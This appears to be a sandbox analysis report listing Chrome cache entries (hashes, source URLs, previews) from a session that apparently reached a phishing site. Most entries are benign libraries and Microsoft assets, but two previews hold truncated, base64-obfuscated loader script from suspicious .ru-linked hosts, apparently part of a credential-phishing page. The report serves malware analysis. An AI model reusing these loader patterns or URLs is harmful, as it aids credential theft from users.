File Type:	ASCII text, with very long lines (1313), with CRLF line terminators
Category:	downloaded
Size (bytes):	1951
Entropy (8bit):	5.974173244014529
Encrypted:	false
SSDEEP:	24:UtuHKfzBpLyGXI3vF/bhCncl2/NcP5oeC0CCWSz5AwnAqu7iVxgijW8DuK23uorf:o7bG3tMcQFW5oeySz5pnPdxuIeRZT
MD5:	3ED8DBFDA7F519A709CBDCF702065C34
SHA1:	88673B4EB0070D14ACEBB2FB435FB1FE0031AEFE
SHA-256:	D89665405648FEF3D4D3DF9EFC4C1FFC12854D508DF3BF560E3628D3C775C9D6
SHA-512:	E52256F233BA475B80489F7EBEE56EFF21FB053F956ACE1AB6985207C56ACA0C02DBA5A8BA78B8201DD3E96F45C3E2EECF48BB3016FF48BC5D69BB3BF66C8680
Malicious:	false
Reputation:	low
URL:	https://cosenzaconsulting.co/res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole
Preview:	var RyWVlbUIImFqLdMm = document.createElement("script");..RyWVlbUIImFqLdMm.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");..document.head.append(RyWVlbUIImFqLdMm);..RyWVlbUIImFqLdMm.onload=function(){..var {a,b,c,d} = JSON.parse(atob("eyJhIjoiclB5RUVVUzBvcjNWQ3JSV1RGc0hnVEpMXC9PYWtcL2kwbGNKVWs4UjZnQWxMMHVMc1R4UEE1WmlXeXZmUmFHaSsrZWxZbXJIXC9zYVIyOFU3Nml4MFN0dmNFUk11SmlZMUZITHZxU0x2dWpNK2p2UUlyOWxTQ3FXQktJZWFoUFF5ZDFReFI4YzNicFhmU0piMjhWM01nbHdEcWdma1FvaFBidEUyUXpnTDRQb3l2Z2l2NENEeUhXMnFaOHIrQUxVMjZTMTRxazQxdkc4VmJxWVlVbjF4SDBvK3VjTW54Q0xGdG5ORGgxNkJtYmlWT0R4bkp0dDNMQnVzM2IxWDNtenpSU3VuNnFBb04xNHRnYlBHTFFwQk1QeU5JQ3ZuTXlUOXg5S2xJcFoyaVRDYlZpWkw1c1NMRWNPalcrK1JjTFdhT0oyT21wbG5YMXFNKzZQMm90dDJ0dGhIYW5UeFZiRThTSWhhTjcya0ttaWpPc1ozSDFyM1wvWnFoaEJSZElRcVwvYis4bFhVRUVDWDVqU2gxOStBekNkVUhhZWUwY0k4c1I0WERIUkJVTHZEMTVJbEREYU41TDZBY3R0TVdsRUpVd1dQaFZKc3NpMFl0ZytZeGhJWmZaeHhPNjB6OG1qaFZIKzVUYUFQb3BZWDdPc3NSODV4Ymg4YW4zMWF1RU5cL2k4ZTEyclB0RzFDbTR3ZX

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Reputation:	high, very likely benign file
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	downloaded
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://dqedloecblwraku5hfuqdf0qrfwvtklcryntknzxcnryahivpslqziaory.ezmbsgzm.ru/egwigfkbbmmmvyqqeWuKktXWDuZMRFRAWLPLRADLJEBTXBNHILZLJIMPPZZLCJOCABQJSZBQKEHEWZFX
Preview:	1

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	15
Entropy (8bit):	3.189898095464287
Encrypted:	false
SSDEEP:	3:Uh1Kn:UDKn
MD5:	39A19D0882684989864FA50BCED6A2D1
SHA1:	5CED55DAC2E0427E9DC605CEC1FEDAB0949EB15E
SHA-256:	8FBEDED073249C3611742297EE96A976A95EE113F33B9A422A5D3A7A2DEB63E5
SHA-512:	E795CB7DE27B42948B7DDFF19F3B401A8F95753AC7D37D9B5F52D8DACD2AA43A2AD9EACEC29F77D28080E20C21C48B9FA88A733FAC108939FB2F0EB036C7AEEE
Malicious:	false
URL:	https://statics-marketingsites-wcus-ms-com.akamaized.net/statics/override.css?c=7
Preview:	/* empty css */

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	dropped
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7469), with CRLF line terminators
Category:	downloaded
Size (bytes):	19906
Entropy (8bit):	5.870222171959041
Encrypted:	false
SSDEEP:	384:NCnujNNyH9/VaQKlFsnujNNyH9/VaQKlFQlrdlr8:BAJVxgPAJVxgWlrdlr8
MD5:	9DBB350076FE7FD40C9AA90418EE5E1A
SHA1:	FF91B1A83B276B7080D7FF7A09B6AD3231268EF0
SHA-256:	019CDA94D7A9ED9F71B6CD71B8AF16680007C779889EB5E2E5B06969E1D9D26A
SHA-512:	4794009729747051A007228223022B206E3D506E5E1798E1FEBA5E21393F6285E0F32DD267D5DE6D619AD6D21AF54F4A5B8A6250061B7B705F25DC56B50B986C
Malicious:	false
URL:	https://cj.qhggzzwnpfh.ru/qABJFN/
Preview:	The road to success and the road to failure are almost exactly the same. -->.. Success is walking from failure to failure with no loss of enthusiasm. -->..<script>....if(atob("aHR0cHM6Ly9lSi5xaGdnenp3bnBmaC5ydS9xQUJKRk4v") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4M

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (44186)
Category:	dropped
Size (bytes):	44260
Entropy (8bit):	5.4668669104082115
Encrypted:	false
SSDEEP:	768:gXHw8U/5KUTJ4dch4AAAAAATCLL5BI0PRHGrY8VdCCq/3t5IkwC9jRRdyFINGSzY:qwF9XkBtEJHaGgoW
MD5:	07AE3B6B3B89501942776C01CC7F195A
SHA1:	B2744F043034B7DFD5732A21748E5868EF882A5F
SHA-256:	83A0CEF96BEF8FD0B1AE3D260BD2CFA992D821820D435F54FCF274D09726379D
SHA-512:	1002B348A7B1F8F5C2D14F4E1B5DEBD74E7DCAC8EB8E4244A59A0E3429D96B498144E636F2204E3B165212B515C352F32EBDBE5393E147BCCF08F2A2754549AA
Malicious:	false
Preview:	/! pako 2.0.4 https://github.com/nodeca/pako @license (MIT AND Zlib) /.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self).pako={})}(this,(function(t){"use strict";function e(t){let e=t.length;for(;--e>=0;)t[e]=0}const a=256,i=286,n=30,s=15,r=new Uint8Array([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]),l=new Uint8Array([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]),o=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]),h=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),d=new Array(576);e(d);const _=new Array(60);e(_);const f=new Array(512);e(f);const c=new Array(256);e(c);const u=new Array(29);e(u);const w=new Array(n);function b(t,e,a,i,n){this.static_tree=t,this.extra_bits=e,this.extra_base=a,this.elems=i,this.max_length=n,this.has_stree=t&&t.length}let g,p,m;function k(t,e){this.dyn_

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32089)
Category:	downloaded
Size (bytes):	92629
Entropy (8bit):	5.303443527492463
Encrypted:	false
SSDEEP:	1536:dnu00HWWaRxkqJg09pYxoxDKMXJrg8hXXO4dK3kyfiLJBhdSZE+I+Qg7rbaN1RUx:ddkWgoBhcZRQgmW42qe
MD5:	397754BA49E9E0CF4E7C190DA78DDA05
SHA1:	AE49E56999D82802727455F0BA83B63ACD90A22B
SHA-256:	C12F6098E641AACA96C60215800F18F5671039AECF812217FAB3C0D152F6ADB4
SHA-512:	8C64754F77507AB2C24A6FC818419B9DD3F0CECCC9065290E41AFDBEE0743F0DA2CB13B2FBB00AFA525C082F1E697CB3FFD76EF9B902CB81D7C41CA1C641DFFB
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js
Preview:	/! jQuery v1.9.1 \| (c) 2005, 2012 jQuery Foundation, Inc. \| jquery.org/license.//@ sourceMappingURL=jquery.min.map./(function(e,t){var n,r,i=typeof t,o=e.document,a=e.location,s=e.jQuery,u=e.$,l={},c=[],p="1.9.1",f=c.concat,d=c.push,h=c.slice,g=c.indexOf,m=l.toString,y=l.hasOwnProperty,v=p.trim,b=function(e,t){return new b.fn.init(e,t,r)},x=/[+-]?(?:\d\.\|)\d+(?:[eE][+-]?\d+\|)/.source,w=/\S+/g,T=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,N=/^(?:(<[\w\W]+>)[^>]\|#([\w-]))$/,C=/^<(\w+)\s\/?>(?:<\/\1>\|)$/,k=/^[\],:{}\s]$/,E=/(?:^\|:\|,)(?:\s\[)+/g,S=/\\(?:["\\\/bfnrt]\|u[\da-fA-F]{4})/g,A=/"[^"\\\r\n]*"\|true\|false\|null\|-?(?:\d+\.\|)\d+(?:[eE][+-]?\d+\|)/g,j=/^-ms-/,D=/-([\da-z])/gi,L=function(e,t){return t.toUpperCase()},H=function(e){(o.addEventListener\|\|"load"===e.type\|\|"complete"===o.readyState)&&(q(),b.ready())},q=function(){o.addEventListener?(o.removeEventListener("DOMContentLoaded",H,!1),e.removeEventListener("load",H,!1)):(o.detachEvent("onreadystatechange",H),e.detachEvent("onload",H)

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65532), with no line terminators
Category:	downloaded
Size (bytes):	563851
Entropy (8bit):	5.221453271093944
Encrypted:	false
SSDEEP:	6144:2VR57iqbPXlB5UR5vWenR5xWeMFdBjL+ks0EcU0MWEsuWe5fXbHfxlN/FNCn/Lpl:tTP0BKYtf
MD5:	12DD1E4D0485A80184B36D158018DE81
SHA1:	EB2594062E90E3DCD5127679F9C369D3BF39D61C
SHA-256:	A04B5B8B345E79987621008E6CC9BEF2B684663F9A820A0C7460E727A2A4DDC3
SHA-512:	F3A92BF0C681E6D2198970F43B966ABDF8CCBFF3F9BD5136A1CA911747369C49F8C36C69A7E98E0F2AED3163D9D1C5D44EFCE67A178DE479196845721219E12C
Malicious:	false
URL:	https://assets.onestore.ms/cdnfiles/external/mwf/long/v1/v1.25.0/css/mwf-west-european-default.min.css
Preview:	@charset "UTF-8";/! @ms-mwf/mwf - v1.25.0+6321934 \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise.//! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 41 x 28, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlE50q7Akxl/k4E08up:6v/lhPypAk7Tp
MD5:	F281796351EF24FC6D89B81965903D9F
SHA1:	19325CF6732C061863B52E1ECC8129234743E197
SHA-256:	E48DDD6D8F2C3AD7353766BAA99CA4484A33D1FB6DD3E0C7A4344AB012EACFCE
SHA-512:	5237B1A98C1A71AD5C124DC91ADB2F1C0FCA632E129D0BA5702BBF1F7C23F6B33A951D8D35B908FCDFAF5F17BA11D033FF185EE67E0370E8485732DE04EC26AF
Malicious:	false
Preview:	.PNG........IHDR...).........s.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 26288, version 0.0
Category:	downloaded
Size (bytes):	26288
Entropy (8bit):	7.984195877171481
Encrypted:	false
SSDEEP:	768:56JqQaQphRbTHiKNF5z/02h5KpJW3pPOA8Y9g/:gdTTH5XKpJWdH1W/
MD5:	D0263DC03BE4C393A90BDA733C57D6DB
SHA1:	8A032B6DEAB53A33234C735133B48518F8643B92
SHA-256:	22B4DF5C33045B645CAFA45B04685F4752E471A2E933BFF5BF14324D87DEEE12
SHA-512:	9511BEF269AE0797ADDF4CD6F2FEC4AD0C4A4E06B3E5BF6138C7678A203022AC4818C7D446D154594504C947DA3061030E82472D2708149C0709B1A070FDD0E3
Malicious:	false
URL:	https://www.microsoft.com/mwf/_h/v3.54/mwf.app/fonts/mwfmdl2-v3.54.woff
Preview:	wOFF......f........D........................OS/2...X...H...`JM.FVDMX.............^.qcmap..............9cvt ...4... .......fpgm...T.......Y...gasp...D............glyf...P..U5.......head..]....2...6...Chhea..]........$$...hmtx..]..........ye'loca..^............Gmaxp..`.... ... ./..name..`....8....]..Rpost..f........ .Q.wprep..f$........x...x.c`.Pf......:....Q.B3_dHc..`e.bdb... .`@..`......./9.\|...V...)00...-.Wx...S......._..m.m.m.m.m;e..y.~.......<p..a.0t.&...a.pa.0B.1..F...Q.ha.0F.3.....q.xa.0A.0L.&...I.da.0E.2L....i.ta.0C.1..f...Y.la.0G.3.....y.\|a..@X0,.....E.ba.DX2,....e.ra..BX1..V...U.ja..FX3.....u.za..A.0l.6...M.fa.E.2l....m.va..C.1..v...].na..G.3......}.~a.p@80......C.a..pD82.....c.q..pB81..N...S.i..pF83.....s.y..pA.0\.....K.e..pE.2\....k.u..pC.1..n...[.m..pG.3......{.}...@x0<.....G.c...Dx2<....g.s...Bx1..^...W.k...Fx3.....w.{...A.0\|.>...O.g...E.2\|....o.w...C.1..~..._.o..08........?..0$........x...mL.U.............9.x.`[...&BF@X...V.h.Z..h......`n....[..U

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64241)
Category:	downloaded
Size (bytes):	167730
Entropy (8bit):	5.045981547409661
Encrypted:	false
SSDEEP:	3072:OzCPZkTP3bDLH0tfRqQ0xtLfj4ZDSIpTt813viY8R1j35Ap7LQZLPPJH7PAbOCxW:clZAP+keedJ
MD5:	AFB5C64B13342F6E568093548D0A2A9F
SHA1:	95FC121CCCFDBA12443CF87A9C823486065A14AB
SHA-256:	238DB52476BF8107E2E851CD3299B071ED5944B570C1603A1EA758A4FADF5F29
SHA-512:	6FE8BADD1B94E81464C0808383A4CC77F779BF226A3C13B58B2BCB36332995EFBC7711373EE8AB2A8BC52675884F9885D168CB2DE9535E39E71B0B72940691E1
Malicious:	false
URL:	https://www.microsoft.com/onerfstatics/marketingsites-wcus-prod/west-european/shell/_scrf/css/themes=default.device=uplevel_web_pc/2b-7ae144/7e-3283eb/69-8122fc/86-016699/72-2b1d8c/80-6461e7/2a-d9be59/51-40faf7?ver=2.0
Preview:	@charset "UTF-8";./! \| Copyright 2017 Microsoft Corporation \| This software is based on or incorporates material from the files listed below (collectively, "Third Party Code"). Microsoft is not the original author of the Third Party Code. The original copyright notice and the license under which Microsoft received Third Party Code are set forth below together with the full text of such license. Such notices and license are provided solely for your information. Microsoft, not the third party, licenses this Third Party Code to you under the terms in which you received the Microsoft software or the services, unless Microsoft clearly states that such Microsoft terms do NOT apply for a particular Third Party Code. Unless applicable law gives you more rights, Microsoft reserves all other rights not expressly granted under such agreement(s), whether by implication, estoppel or otherwise././! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /.body{margin:0}.context-uh

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (44186)
Category:	downloaded
Size (bytes):	44260
Entropy (8bit):	5.4668669104082115
Encrypted:	false
SSDEEP:	768:gXHw8U/5KUTJ4dch4AAAAAATCLL5BI0PRHGrY8VdCCq/3t5IkwC9jRRdyFINGSzY:qwF9XkBtEJHaGgoW
MD5:	07AE3B6B3B89501942776C01CC7F195A
SHA1:	B2744F043034B7DFD5732A21748E5868EF882A5F
SHA-256:	83A0CEF96BEF8FD0B1AE3D260BD2CFA992D821820D435F54FCF274D09726379D
SHA-512:	1002B348A7B1F8F5C2D14F4E1B5DEBD74E7DCAC8EB8E4244A59A0E3429D96B498144E636F2204E3B165212B515C352F32EBDBE5393E147BCCF08F2A2754549AA
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js
Preview:	/! pako 2.0.4 https://github.com/nodeca/pako @license (MIT AND Zlib) /.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self).pako={})}(this,(function(t){"use strict";function e(t){let e=t.length;for(;--e>=0;)t[e]=0}const a=256,i=286,n=30,s=15,r=new Uint8Array([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]),l=new Uint8Array([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]),o=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]),h=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),d=new Array(576);e(d);const _=new Array(60);e(_);const f=new Array(512);e(f);const c=new Array(256);e(c);const u=new Array(29);e(u);const w=new Array(n);function b(t,e,a,i,n){this.static_tree=t,this.extra_bits=e,this.extra_base=a,this.elems=i,this.max_length=n,this.has_stree=t&&t.length}let g,p,m;function k(t,e){this.dyn_

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 41 x 28, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlE50q7Akxl/k4E08up:6v/lhPypAk7Tp
MD5:	F281796351EF24FC6D89B81965903D9F
SHA1:	19325CF6732C061863B52E1ECC8129234743E197
SHA-256:	E48DDD6D8F2C3AD7353766BAA99CA4484A33D1FB6DD3E0C7A4344AB012EACFCE
SHA-512:	5237B1A98C1A71AD5C124DC91ADB2F1C0FCA632E129D0BA5702BBF1F7C23F6B33A951D8D35B908FCDFAF5F17BA11D033FF185EE67E0370E8485732DE04EC26AF
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/i/8f019593d907f5f4/1733879319048/bvqYxnwVgyw7nfb
Preview:	.PNG........IHDR...).........s.......IDAT.....$.....IEND.B`.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
